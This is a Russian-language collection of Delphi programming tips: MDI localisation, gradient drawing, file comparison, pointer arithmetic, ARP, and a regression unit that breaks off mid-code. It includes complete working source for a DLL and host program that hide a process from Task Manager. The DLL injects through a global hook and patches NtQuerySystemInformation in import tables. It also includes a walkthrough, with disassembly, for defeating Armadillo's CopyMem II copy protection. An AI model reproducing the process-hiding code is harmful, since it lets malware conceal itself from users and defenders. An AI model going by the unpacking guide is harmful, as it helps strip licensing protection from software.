Опять ищем слабые места в программе. Для начинающих программистов может быть новостью, что в одной программе не может быть двух и более окон с одинаковыми названиями. А как же дело обстоит с MDI приложениями. Дочернее окно проектируется в единственном варианте, а в внутри родительской формы, во время работы программы, оно может создаваться теоретически в неограниченном количестве. Имена же самой вновь создаваемой дочерней форме присваиваются системой автоматически. Следовательно, читать параметр из ini-файла по свойству Name не подойдет. Таким методом можно максимально прочитать язык для компонентов только для одного дочернего MDI-окна. Отсюда следует, что нужно читать данные согласно свойству ClassName, которое является уникальным для отдельного класса окна. Например, для окна Form1, являющегося главным MDI-окном такой класс TForm1. Для окна Form2, дочернего MDI-окна класс TForm2. Вот, вы наконец и узнали, что же это за такая туква Т, стоящая в начале названия компонента. Это надкласс, объединяющий однотипные компоненты (в том числе и окно программы) в единую группу, с одинаковыми вложенными свойствами. Это краткое описание, можно сказать, своими словами.
Эти все "наваяния" организованы во втором примере. Там смена языка происходит из одной процедуры абсолютно для всех окон. Тем самым мы уменьшили программный код за счет увеличения качества, увеличили количество вложенных циклов. Программа примера номер 2 является незаконченным каркасом MDI-приложения. Не удивляйтесь, почему программа не выполняет функции редактора.
Оъявление. Автор уроков для начинающих по delphi ищет темы, какие вам было бы интересно узнать. Свои предложения отсылайте мне, Sеmеn'у, по адресу mailto:semen@krovatka.net?subject=предложение, указав в теме письма слово "предложение". Ваше предложение не должно быть очень сложным для программного решения, понятным для начинающего, тема не должна отклоняться от тематики ведения уроков (например, не рассматривается управление базами данных, SQL, internet и пр.). Материал, написанный по вашему предложению, ориентировочно должен быть дан в объеме одного урока. Предложение в текущий урок должно быть отправлено до пятницы.
По вашему дополнительному пожеланию ссылка на автора идеи будет помещена в начале урока. В таком случае обязательно делайте соответствующую пометку и указывайте свое имя с обратным адресом в письме с предложением.
Ныкаем программу от Ctrl Alt Del в WinXP.
Автор: Gestap
library Hide;
uses
Windows,
TlHelp32;
type
SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
);
_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of 0: (
Characteristics: DWORD);
1: (
OriginalFirstThunk: DWORD;
TimeDateStamp: DWORD;
ForwarderChain: DWORD;
Name: DWORD;
FirstThunk: DWORD);
end;
IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;
PFARPROC = ^FARPROC;
const
ImagehlpLib = 'IMAGEHLP.DLL';
function ImageDirectoryEntryToData(Base: Pointer; MappedAsImage: ByteBool;
DirectoryEntry: Word; var Size: ULONG): Pointer; stdcall; external ImagehlpLib
name 'ImageDirectoryEntryToData';
function AllocMem(Size: Cardinal): Pointer;
begin
GetMem(Result, Size);
FillChar(Result^, Size, 0);
end;
procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc;
pfnNew: FARPROC; hmodCaller: hModule);
var
ulSize: ULONG;
pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
pszModName: PChar;
pThunk: PDWORD;
ppfn: PFARPROC;
ffound: LongBool;
written: DWORD;
begin
pImportDesc := ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,
IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
if pImportDesc = nil then
exit;
while pImportDesc.Name <> 0 do
begin
pszModName := PChar(hmodCaller + pImportDesc.Name);
if (lstrcmpiA(pszModName, pszCallerModName) = 0) then
break;
Inc(pImportDesc);
end;
if (pImportDesc.Name = 0) then
exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^ <> 0 do
begin
ppfn := PFARPROC(pThunk);
fFound := (ppfn^ = pfnCurrent);
if (fFound) then
begin
VirtualProtectEx(GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE,
written);
WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew),
Written);
exit;
end;
Inc(pThunk);
end;
end;
var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
hideOnlyTaskMan: PBOOL;
{ By Wasm.ru}
function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
SystemInformation: Pointer;
SystemInformationLength: ULONG; ReturnLength: PULONG): LongInt; stdcall;
label
onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass,SystemProcessesAndThreadsInformation
jne quit
onceagain:
mov esi,SystemInformation
getnextpidstruct:
mov ebx,esi
cmp dword ptr [esi],0
je quit
add esi,[esi]
mov ecx,[esi+44h]
cmp ecx,mypid
jne getnextpidstruct
mov edx,[esi]
test edx,edx
je fillzero
add [ebx],edx
jmp onceagain
fillzero:
and [ebx],edx
jmp onceagain
quit:
mov Result,eax
end;
procedure InterceptFunctions;
var
hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),
'NtQuerySystemInformation');
hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
if hSnapshot = INVALID_HANDLE_VALUE then
exit;
try
ZeroMemory(@me32, sizeof(MODULEENTRY32));
me32.dwSize := sizeof(MODULEENTRY32);
Module32First(hSnapShot, me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation,
@MyNtQuerySystemInfo, me32.hModule);
until not Module32Next(hSnapShot, me32);
finally
CloseHandle(hSnapShot);
end;
end;
procedure UninterceptFunctions;
var
hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),
'NtQuerySystemInformation');
hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
if hSnapshot = INVALID_HANDLE_VALUE then
exit;
try
ZeroMemory(@me32, sizeof(MODULEENTRY32));
me32.dwSize := sizeof(MODULEENTRY32);
Module32First(hSnapShot, me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo,
addr_NtQuerySystemInformation, me32.hModule);
until not Module32Next(hSnapShot, me32);
finally
CloseHandle(hSnapShot);
end;
end;
var
HookHandle: THandle;
function CbtProc(code: integer; wparam: integer; lparam: integer): Integer;
stdcall;
begin
Result := 0;
end;
procedure InstallHook; stdcall;
begin
HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;
var
hFirstMapHandle: THandle;
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
var
addrMap: PDWORD;
ptr2: PBOOL;
begin
mypid := 0;
result := false;
hFirstMapHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,
'NtHideFileMapping');
if hFirstMapHandle = 0 then
exit;
addrMap := MapViewOfFile(hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8);
if addrMap = nil then
begin
CloseHandle(hFirstMapHandle);
exit;
end;
addrMap^ := pid;
ptr2 := PBOOL(DWORD(addrMap) + 4);
ptr2^ := HideOnlyFromTaskManager;
UnmapViewOfFile(addrMap);
InstallHook;
result := true;
end;
exports
HideProcess;
var
hmap: THandle;
procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
UninterceptFunctions()
else
CloseHandle(hFirstMapHandle);
end;
begin
hmap := OpenFileMapping(FILE_MAP_READ, false, 'NtHideFileMapping');
if hmap = 0 then
exit;
try
mapaddr := MapViewOfFile(hmap, FILE_MAP_READ, 0, 0, 0);
if mapaddr = nil then
exit;
mypid := mapaddr^;
hideOnlyTaskMan := PBOOL(DWORD(mapaddr) + 4);
if hideOnlyTaskMan^ then
begin
fname := allocMem(MAX_PATH + 1);
GetModuleFileName(GetModuleHandle(nil), fname, MAX_PATH + 1);
// if not (ExtractFileName(fname)='taskmgr.exe') then exit;
end;
InterceptFunctions;
finally
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc := @LibraryProc;
end;
end.
Текст програмки, прячущей саму себя:
Код
program HideProj;
uses
windows, messages;
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
external 'hide.dll';
function ProcessMessage(var Msg: TMsg): Boolean;
var
Handled: Boolean;
begin
Result := False;
begin
Result := True;
if Msg.Message <> WM_QUIT then
begin
Handled := False;
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end
end;
end;
procedure ProcessMessages;
var
Msg: TMsg;
begin
while ProcessMessage(Msg) do {loop}
;
end;
begin
HideProcess(GetCurrentProcessId, false);
while true do
begin
ProcessMessages;
end;
end.
Нарисовать градиент на Canvas с произвольным количеством цветов.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
The following code allows you to draw a gradient on a canvas with
an arbitrary number of colors (minimum 2).
To draw a gradient on a form's canvas,
call the DrawGradient() in the OnPaint and OnResize-event handlers.
}
{
Mit dieser Prozedur kann man auf einen Canvas einen Farbverlauf mit
beliebig vielen Farben (min. 2) zeichnen.
Z.B. wenn auf eine Form ein Farbverlauf gezeichnet werden soll,
rufe die DrawGradient() Funktion im OnPaint-Ereignis und
im OnResize-Ereignis der Form auf.
}
procedure DrawGradient(ACanvas: TCanvas; Rect: TRect;
Horicontal: Boolean; Colors: array of TColor);
type
RGBArray = array[0..2] of Byte;
var
x, y, z, stelle, mx, bis, faColorsh, mass: Integer;
Faktor: double;
A: RGBArray;
B: array of RGBArray;
merkw: integer;
merks: TPenStyle;
merkp: TColor;
begin
mx := High(Colors);
if mx > 0 then
begin
if Horicontal then
mass := Rect.Right - Rect.Left
else
mass := Rect.Bottom - Rect.Top;
SetLength(b, mx + 1);
for x := 0 to mx do
begin
Colors[x] := ColorToRGB(Colors[x]);
b[x][0] := GetRValue(Colors[x]);
b[x][1] := GetGValue(Colors[x]);
b[x][2] := GetBValue(Colors[x]);
end;
merkw := ACanvas.Pen.Width;
merks := ACanvas.Pen.Style;
merkp := ACanvas.Pen.Color;
ACanvas.Pen.Width := 1;
ACanvas.Pen.Style := psSolid;
faColorsh := Round(mass / mx);
for y := 0 to mx - 1 do
begin
if y = mx - 1 then
bis := mass - y * faColorsh - 1
else
bis := faColorsh;
for x := 0 to bis do
begin
Stelle := x + y * faColorsh;
faktor := x / bis;
for z := 0 to 3 do
a[z] := Trunc(b[y][z] + ((b[y + 1][z] - b[y][z]) * Faktor));
ACanvas.Pen.Color := RGB(a[0], a[1], a[2]);
if Horicontal then
begin
ACanvas.MoveTo(Rect.Left + Stelle, Rect.Top);
ACanvas.LineTo(Rect.Left + Stelle, Rect.Bottom);
end
else
begin
ACanvas.MoveTo(Rect.Left, Rect.Top + Stelle);
ACanvas.LineTo(Rect.Right, Rect.Top + Stelle);
end;
end;
end;
b := nil;
ACanvas.Pen.Width := merkw;
ACanvas.Pen.Style := merks;
ACanvas.Pen.Color := merkp;
end
else
// Please specify at least two colors
raise EMathError.Create('Es mussen mindestens zwei Farben angegeben werden.');
end;
// Example Calls:
// Aufrufbeispiele:
DrawGradient(Image1.Canvas, Rect(0, 0, 100, 200), False, [clRed, $00FFA9B4]);
DrawGradient(Canvas, GetClientRect, True, [121351, clBtnFace, clBlack, clWhite]);
Проверить эквивалентность двух файлов.
function Are2FilesEqual(const File1, File2: TFileName): Boolean;
var
ms1, ms2: TMemoryStream;
begin
Result := False;
ms1 := TMemoryStream.Create;
try
ms1.LoadFromFile(File1);
ms2 := TMemoryStream.Create;
try
ms2.LoadFromFile(File2);
if ms1.Size = ms2.Size then
Result := CompareMem(ms1.Memory, ms2.memory, ms1.Size);
finally
ms2.Free;
end;
finally
ms1.Free;
end
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if Opendialog1.Execute then
if Opendialog2.Execute then
if Are2FilesEqual(Opendialog1.FileName, Opendialog2.FileName) then
ShowMessage('Files are equal.');
end;
{********************************************}
{2.}
function FilesAreEqual(const File1, File2: TFileName): Boolean;
const
BlockSize = 65536;
var
fs1, fs2: TFileStream;
L1, L2: Integer;
B1, B2: array[1..BlockSize] of Byte;
begin
Result := False;
fs1 := TFileStream.Create(File1, fmOpenRead or fmShareDenyWrite);
try
fs2 := TFileStream.Create(File2, fmOpenRead or fmShareDenyWrite);
try
if fs1.Size = fs2.Size then
begin
while fs1.Position < fs1.Size do
begin
L1 := fs1.Read(B1[1], BlockSize);
L2 := fs2.Read(B2[1], BlockSize);
if L1 <> L2 then
begin
Exit;
end;
if not CompareMem(@B1[1], @B2[1], L1) then Exit;
end;
Result := True;
end;
finally
fs2.Free;
end;
finally
fs1.Free;
end;
end;
|
Арифметика указателей.
Вы можете рассказать об арифметике указателей в Delphi? Сначала короткое объяснение арифметике указателя. Когда вы имеете дело с динамическими страницами памяти, то все, что вы имеете - это указатели на начала блоков памяти. Вы хотите просмотреть всю строку памяти, чтобы понять какие функции необходимы для работы с данными, хранящимися в памяти? Это возможно путем изменения места в памяти, на которое указывает указатель. Это называется арифметикой указателя. Основополагающая идея при занятиях арифметикой с указателем - указатель должен быть увеличен на значение корректного приращения. (Корректное приращение определяется размером объекта, на который показывает указатель. Например, char = 1 байт; integer = 2 байта; double = 8 байт и т.д.) Функции Inc() и Dec() изменяют значение корректного приращения. (Компилятор знает правильный размер объекта.)Если вы осуществляете динамическое распределение памяти, то делать это можно примерно так:
uses WinCRT;
procedure TForm1.Button1Click(Sender: TObject);
var
MyArray: array[0..30] of char;
b: ^char;
i: integer;
begin
StrCopy(MyArray, 'Дельфи - рулез фарева!');
{помещаем что-то в память для организации указателя}
b := @MyArray; { назначаем указатель на текущую позицию памяти }
for i := StrLen(MyArray) downto 0 do
begin
write(b^); { пишем символ в текущую позицию указателя. }
inc(b); { перемещаем указатель на следующий байт памяти }
end;
end;
|
Нижеследующий код демонстрирует работу функций Inc() и Dec(), увеличивающих или уменьшающих указатель на размер соответствующего типа:
var
P1, P2: ^LongInt;
L: LongInt;
begin
P1 := @L; { назначаем оба указателя на одно и то же место }
P2 := @L;
Inc(P2); { Увеличиваем один }
{ Здесь мы получаем разницу между смещениями двух
указателей. Поскольку первоначально они указывали на одно
и то же место памяти, то результатом данного вызова
будет разница между двумя указателями после вызова Inc(). }
L := Ofs(P2^) - Ofs(P1^); { L = 4; т.е. sizeof(longInt) }
end;
|
Вы можете изменить тип объекта, на который указывает P1 и P2, на какой-то другой и убедиться, что (SizeOf(P1^)) всегда возвращает величину корректного приращения (проще сказать, что это размер объекта - В.О.).
Armadillo и CopyMem II.
Автор: Hex Я не люблю всякие анпакеры, потому что они приучают лениться. А потом автор анпакера пропадет куда-нить и все - фиг чего-то сделаешь. Т.к. не знаешь как оно работает. Вот и к анпакеру Armkiller у меня такое же отношение. Поэтому опишу как ловить армадилину раскриптовку при CopyMem II. Для тех кто в танке: Armadillo работает так: запускает себя в двух экземплярах. 1) Этот тот что вызвали мы. Это типа сервер 2) Созданный серевером. (клиент) Так вот сервер запускает клиента в режиме отладки и помере происходящих DebugEvents он его разжимает, делает импорт и т.д. и потом запускает. CopyMem II: это такая фича у сервера. Когда она включена сервер динамически раскриптовывает секцию кода клиента блоками по 1000h байт. После выполненния кода этой страницы - закриптовывает назад. Т.е. сервер следит за Page Fault. И когда оно происходит - раскриптовывает недостающий блок и ставит все на место. Так вот, наша цель: заставить сервер распаковать прогу полностью и больше не закриптовывать. Инструменты: Softice, IDA. Для примера беру сам Armadillo 2.61 Public build 2000. Он является последним к моменту написания статьи и в нем используется CopyMem II.Загружаем Armadillo 2.61 в IDA пусть дизасмится. Запускаем армадилу жмем Basic и больше никуда не лезем. Теперь ставим bpx Writeprocessmemory и жмем "Protection" - "Edit Project". Вылезет айс. Делаем bd * и жмем 3 раза F12. Видим вот это (я тут уже поподписывал):
_text1:0044D6BD push 0 ; EnCryptBit - если 1 - закриптовать, 0 - раскриптовать _text1:0044D6BF mov esi, [ebp+PageNumber] _text1:0044D6C5 shl esi, 4 _text1:0044D6C8 mov eax, [ebp+PageNumber] _text1:0044D6CE and eax, 80000007h _text1:0044D6D3 jns short loc_0_44D6DA _text1:0044D6D5 dec eax _text1:0044D6D6 or eax, 0FFFFFFF8h _text1:0044D6D9 inc eax _text1:0044D6DA _text1:0044D6DA loc_0_44D6DA: ; CODE XREF: sub_0_44C5FD+10D6j _text1:0044D6DA xor ecx, ecx _text1:0044D6DC mov cl, byte ptr ds:unk_0_4591E0[eax] _text1:0044D6E2 mov edx, [ebp+PageNumber] _text1:0044D6E8 and edx, 80000007h _text1:0044D6EE jns short loc_0_44D6F5 _text1:0044D6F0 dec edx _text1:0044D6F1 or edx, 0FFFFFFF8h _text1:0044D6F4 inc edx _text1:0044D6F5 _text1:0044D6F5 loc_0_44D6F5: ; CODE XREF: sub_0_44C5FD+10F1j _text1:0044D6F5 xor eax, eax _text1:0044D6F7 mov al, byte ptr ds:unk_0_4591E1[edx] _text1:0044D6FD mov edi, ds:dword_0_456238[ecx*4] _text1:0044D704 xor edi, ds:dword_0_456238[eax*4] _text1:0044D70B mov ecx, [ebp+PageNumber] _text1:0044D711 and ecx, 80000007h _text1:0044D717 jns short loc_0_44D71E _text1:0044D719 dec ecx _text1:0044D71A or ecx, 0FFFFFFF8h _text1:0044D71D inc ecx _text1:0044D71E _text1:0044D71E loc_0_44D71E: ; CODE XREF: sub_0_44C5FD+111Aj _text1:0044D71E xor edx, edx _text1:0044D720 mov dl, byte ptr ds:unk_0_4591E2[ecx] _text1:0044D726 xor edi, ds:dword_0_456238[edx*4] _text1:0044D72D mov eax, [ebp+PageNumber] _text1:0044D733 cdq _text1:0044D734 mov ecx, 1Ch _text1:0044D739 idiv ecx _text1:0044D73B mov ecx, edx _text1:0044D73D shr edi, cl _text1:0044D73F and edi, 0Fh _text1:0044D742 add esi, edi _text1:0044D744 _text1:0044D744 DeCrypting: _text1:0044D744 mov edx, ds:dword_0_459A74 _text1:0044D74A lea eax, [edx+esi*4] _text1:0044D74D push eax ; hHash _text1:0044D74E mov ecx, [ebp+PageNumber] _text1:0044D754 push ecx ; PageNumber - номер страницы для раскриптовки. _text1:0044D755 call ArmaCryptDecrypt _text1:0044D75A add esp, 0Ch _text1:0044D75D and eax, 0FFh _text1:0044D762 test eax, eax _text1:0044D764 jz short loc_0_44D770 |
Раз:
_text1:0044E3FF push 0 ; Decrypt... _text1:0044E401 mov ecx, [ebp+hHash] _text1:0044E404 push ecx _text1:0044E405 mov edx, [ebp+PageNumber] _text1:0044E408 push edx _text1:0044E409 call Crypting _text1:0044E40E add esp, 0Ch |
Два:
_text1:0044E48F push 1 ; Crypt... ............... _text1:0044E542 mov edx, ds:dword_0_459A74 _text1:0044E548 lea eax, [edx+esi*4] _text1:0044E54B push eax ; Crypting... _text1:0044E54C mov ecx, ds:dword_0_459A88 _text1:0044E552 mov edx, ds:dword_0_459A8C _text1:0044E558 mov eax, [edx+ecx*4] _text1:0044E55B push eax _text1:0044E55C call Crypting _text1:0044E561 add esp, 0Ch |
Что еще можно сказать... Если глянуть по адресам 44D60B и 44D57B то увидим такие же куски кода с двумя отличиями:
_text1:0044D57B push 1 - Криптовать! ............... _text1:0044D5E8 mov eax, [ebp+PageNumber] _text1:0044D5EE sub eax, 1 - Предидущая страница _text1:0044D5F1 push eax ; PageNumber _text1:0044D5F2 call ArmaCryptDecrypt |
И.
_text1:0044D60B push 1 - Криптовать! ......................... _text1:0044D678 mov eax, [ebp+PageNumber] _text1:0044D67E add eax, 1 - Следующая страница _text1:0044D681 push eax ; PageNumber _text1:0044D682 call ArmaCryptDecrypt |
Т.е. перед раскриптовкой новой станицы он криптует предидущую и следующую. В Armadillo 2.61 Public build 2000 это не используется но нужно иметь в виду :).
Описание протокола ARP (Address Resolution Protocol).
| Обнаружен узел www.microsoft.com. Ожидается ответ... Обезврежен узел www.microsoft.com |
Для определения локального адреса по IP-адресу используется протокол разрешения адреса Address Resolution Protocol, ARP. Протокол ARP работает различным образом в зависимости от того, какой протокол канального уровня работает в данной сети - протокол локальной сети (Ethernet, Token Ring, FDDI) с возможностью широковещательного доступа одновременно ко всем узлам сети, или же протокол глобальной сети (X.25, frame relay), как правило не поддерживающий широковещательный доступ. Существует также протокол, решающий обратную задачу - нахождение IP-адреса по известному локальному адресу. Он называется реверсивный ARP - RARP (Reverse Address Resolution Protocol) и используется при старте бездисковых станций, не знающих в начальный момент своего IP-адреса, но знающих адрес своего сетевого адаптера.
В локальных сетях протокол ARP использует широковещательные кадры протокола канального уровня для поиска в сети узла с заданным IP-адресом.
Узел, которому нужно выполнить отображение IP-адреса на локальный адрес, формирует ARP запрос, вкладывает его в кадр протокола канального уровня, указывая в нем известный IP-адрес, и рассылает запрос широковещательно. Все узлы локальной сети получают ARP запрос и сравнивают указанный там IP-адрес с собственным. В случае их совпадения узел формирует ARP-ответ, в котором указывает свой IP-адрес и свой локальный адрес и отправляет его уже направленно, так как в ARP запросе отправитель указывает свой локальный адрес. ARP-запросы и ответы используют один и тот же формат пакета. Так как локальные адреса могут в различных типах сетей иметь различную длину, то формат пакета протокола ARP зависит от типа сети.
В поле типа сети для сетей Ethernet указывается значение 1. Поле типа протокола позволяет использовать пакеты ARP не только для протокола IP, но и для других сетевых протоколов. Для IP значение этого поля равно 080016.
Длина локального адреса для протокола Ethernet равна 6 байтам, а длина IP-адреса - 4 байтам. В поле операции для ARP запросов указывается значение 1 для протокола ARP и 2 для протокола RARP.
Узел, отправляющий ARP-запрос, заполняет в пакете все поля, кроме поля искомого локального адреса (для RARP-запроса не указывается искомый IP-адрес). Значение этого поля заполняется узлом, опознавшим свой IP-адрес.
В глобальных сетях администратору сети чаще всего приходится вручную формировать ARP-таблицы, в которых он задает, например, соответствие IP-адреса адресу узла сети X.25, который имеет смысл локального адреса. В последнее время наметилась тенденция автоматизации работы протокола ARP и в глобальных сетях. Для этой цели среди всех маршрутизаторов, подключенных к какой-либо глобальной сети, выделяется специальный маршрутизатор, который ведет ARP-таблицу для всех остальных узлов и маршрутизаторов этой сети. При таком централизованном подходе для всех узлов и маршрутизаторов вручную нужно задать только IP-адрес и локальный адрес выделенного маршрутизатора. Затем каждый узел и маршрутизатор регистрирует свои адреса в выделенном маршрутизаторе, а при необходимости установления соответствия между IP-адресом и локальным адресом узел обращается к выделенному маршрутизатору с запросом и автоматически получает ответ без участия администратора.
Фильтрация, регрессия, работа с массивом и серией.
Автор: Lookin WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Фильтрация, регрессия, работа с массивом и серией
Модуль предназначен для выполнения процедур:
- фильтрации
- регрессии
- операций с массивами
- операций с сериями
Зависимости: Math, TeEngine, Graphics, SysUtils, Dialogs
Автор: lookin, lookin@mail.ru, Екатеринбург
Copyright: lookin
Дата: 30 апреля 2002 г.
***************************************************** }
unit FilterRegressionArraySeries;
interface
uses Math, TeEngine, Graphics, SysUtils, Dialogs;
type
TIntegerArray = array of integer;
type
TExIntegerArray = array of TIntegerArray;
type
TDoubleArray = array of double;
type
TExDoubleArray = array of TDoubleArray;
type
TStringArray = array of string;
type
TExStringArray = array of TStringArray;
procedure ArrayExpanding(var ValueArray: TDoubleArray; ExpandCoef: integer);
procedure ArrayLengthening(var ValueArray: TDoubleArray; SplitValue: integer);
procedure ArrayShortening(var ValueArray: TDoubleArray; SplitValue: integer);
procedure CubicSplineSmoothing(var ValueArray: TDoubleArray; Dsc: double;
Coef: integer);
procedure SevenPointNonLinearSmoothing(var ValueArray: TDoubleArray;
Dsc: double; Coef: integer);
procedure FourierAnalysis(var ValueArray: TDoubleArray; NumGarmonics: integer);
procedure DoArraySmoothing(var ValueArray: TDoubleArray; FilterType: integer;
Dsc: double; SplitCoef, ExpandCoef: integer;
CycledFilter: boolean);
procedure LinearRegression(ValueArray, ArgumentArray: TDoubleArray;
SourceSeries, DestSeries: TChartSeries;
var MainCoef, FreeCoef: double; SeriesColor: TColor;
var Hint: string);
procedure HyperbolicRegression(ValueArray, ArgumentArray: TDoubleArray;
SourceSeries, DestSeries: TChartSeries;
var MainCoef, FreeCoef: double;
SeriesColor: TColor; var Hint: string);
procedure PowerRegression(ValueArray, ArgumentArray: TDoubleArray;
SourceSeries, DestSeries: TChartSeries;
var MainCoef, FreeCoef: double; SeriesColor: TColor;
var Hint: string);
procedure PolynomialRegression(ValueArray, ArgumentArray: TDoubleArray;
SourceSeries, DestSeries: TChartSeries;
PolyDegree: integer; var ArrayCoefs: TDoubleArray;
SeriesColor: TColor; var Hint: string);
procedure ExponentRegression(ValueArray, ArgumentArray: TDoubleArray;
SourceSeries, DestSeries: TChartSeries;
var MainCoef, FreeCoef: double; SeriesColor: TColor;
var Hint: string; Warning: boolean);
procedure ExponentialRegression(ValueArray, ArgumentArray: TDoubleArray;
SourceSeries, DestSeries: TChartSeries;
var MainCoef, FreeCoef: double; SeriesColor: TColor;
var Hint: string; Warning: boolean);
procedure ExpPowerRegression(ValueArray, ArgumentArray: TDoubleArray;
SourceSeries, DestSeries: TChartSeries;
var MainCoef, FreeCoef: double; SeriesColor: TColor;
var Hint: string; Warning: boolean);
procedure CheckArrayBounds(var CArray: TDoubleArray; var FromPoint, ToPoint:
integer);
procedure CheckSeriesBounds(CSeries: TChartSeries; var FromPoint, ToPoint:
integer);
procedure ArrayFromArray(var SourceArray, DestArray: TDoubleArray;
FromPoint, ToPoint, Discrete: integer; Derivative: boolean);
procedure ArrayFromSeries(var ValueArray: TDoubleArray; DataSeries:
TChartSeries;
FromPoint, ToPoint, Discrete: integer; Derivative: boolean);
procedure SeriesFromArray(var ValueArray: TDoubleArray; DataSeries:
TChartSeries;
FromPoint, ToPoint, Discrete: integer; Derivative: boolean);
function DerivFromArray(var SourceArray: TDoubleArray; FromPoint, ToPoint,
Discrete: integer; Extremum: string;
var Position: integer): double;
function DerivFromSeries(DataSeries: TChartSeries; FromPoint, ToPoint,
Discrete: integer; Extremum: string;
var Position: integer): double;
function ValueFromSeries(DataSeries: TChartSeries; FromPoint, ToPoint: integer;
Extremum: string; var Position: integer): double;
function ValueFromArray(var SourceArray: TDoubleArray; FromPoint, ToPoint:
integer;
Extremum: string; var Position: integer): double;
function CalculateAreaOfArray(var SourceArray: TDoubleArray;
FromPoint, ToPoint, Method: integer;
BindToZero: boolean): double;
function CalculateAreaOfSeries(DataSeries: TChartSeries; FromPoint, ToPoint,
Method: integer; BindToZero: boolean): double;
procedure LinearTrendExclusion(var ValueArray: TDoubleArray);
procedure ColorizeSeries(DataSeries: TChartSeries; NewColor: TColor);
procedure SetXInterval(DataSeries: TChartSeries; XInterval: double);
procedure SetSeriesAxis(DataSeries: TChartSeries; NewAxis: TVertAxis);
var
rv, rsmooth, smootha: TDoubleArray;
implementation
//Нелинейный фильтр по 7 точкам
procedure SevenPointNonLinearSmoothing(var ValueArray: TDoubleArray;
Dsc: double; Coef: integer);
var
j, k, i: integer;
resv: array of array of double;
begin
if (Coef = 0) or (Coef = 1) then
Exit;
SetLength(resv, Coef, (Length(ValueArray) div Coef));
for j := 0 to Coef - 1 do
for i := 0 to Length(resv[0]) - 1 do
resv[j][i] := ValueArray[i * Coef + j];
for k := 0 to Coef - 1 do
for j := 0 to Length(resv[0]) - 1 do
begin
if j = 0 then
resv[k][j] := (39 * ValueArray[j * Coef + k] +
8 * ValueArray[(j + 1) * Coef + k] - 4 * (ValueArray[(j + 2) * Coef +
k] +
ValueArray[(j + 3) * Coef + k] - ValueArray[(j + 4) * Coef + k]) +
ValueArray[(j + 5) * Coef + k] - 2 * ValueArray[(j + 6) * Coef + k]) /
42;
if j = 1 then
resv[k][j] := (8 * ValueArray[j * Coef + k] +
19 * ValueArray[(j + 1) * Coef + k] + 16 * ValueArray[(j + 2) * Coef +
k] +
6 * ValueArray[(j + 3) * Coef + k] - 4 * ValueArray[(j + 4) * Coef + k]
-
7 * ValueArray[(j + 5) * Coef + k] + 4 * ValueArray[(j + 6) * Coef +
k]) / 42;
if j = 2 then
resv[k][j] := (-4 * ValueArray[j * Coef + k] +
16 * ValueArray[(j + 1) * Coef + k] + 19 * ValueArray[(j + 2) * Coef +
k] +
12 * ValueArray[(j + 3) * Coef + k] + 2 * ValueArray[(j + 4) * Coef +
k] -
